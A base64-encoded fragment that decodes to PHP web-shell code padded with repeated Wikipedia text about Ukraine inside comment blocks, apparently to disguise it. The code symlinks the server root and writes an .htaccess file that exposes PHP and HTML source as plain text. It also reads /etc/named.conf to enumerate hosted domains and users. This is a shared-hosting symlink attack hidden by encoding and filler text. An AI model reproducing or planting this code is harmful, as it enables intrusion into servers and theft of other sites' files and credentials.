iBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCXByaW50SGVhZGVyKCk7CgkKCQlwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25Eb21haW5zKCkgewoJcHJpbnRIZWFkZXIoKTsKCWVycm9yX3JlcG9ydGluZygwKTsKZWNobyAiPHRpdGxlPiNEb21haW5zICYgVXNlcnM8L3RpdGxlPiI7Cm1rZGlyKCJzeW0iKTsKc3ltbGluaygiLyIsIjAveC50eHQiKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCiRjICA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgXG4gRGlyZWN0b3J5SW5kZXggc3Nzc3NzLmh0bSBcbiBBZGRUeXBlIHR4dCAucGhwIFxuIEFkZEhhbmRsZXIgdHh0IC5waHAgXG4gIEFkZFR5cGUgdHh0IC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIE9wdGlvbnMgYWxsIFxuIE9wdGlvbnMgXG4gQWxsb3cgZnJvbSBhbGwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKJGYgPSBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CiBmd3JpdGUoJGYgLCAkYyk7CiAKJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CgppZighJGQwbWFpbnMpeyBkaWUoIjxiPiNFcnJvci4uLiAtPiBbIC9ldGMvbmFtZWQuY29uZiBdIik7IH0KLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPgo8dHIgYmdjb2xvcj10ZWFsPjx0ZD5Eb21haW48L3RkPjx0ZD5Vc2VyIExpc3QgPC90ZD48dGQ+U3ltbGluazwvdGQ+PC90cj4iOwoKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKCmlmKGVyZWdpKCJ6b25lIiwkZDBtYWluKSl7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LC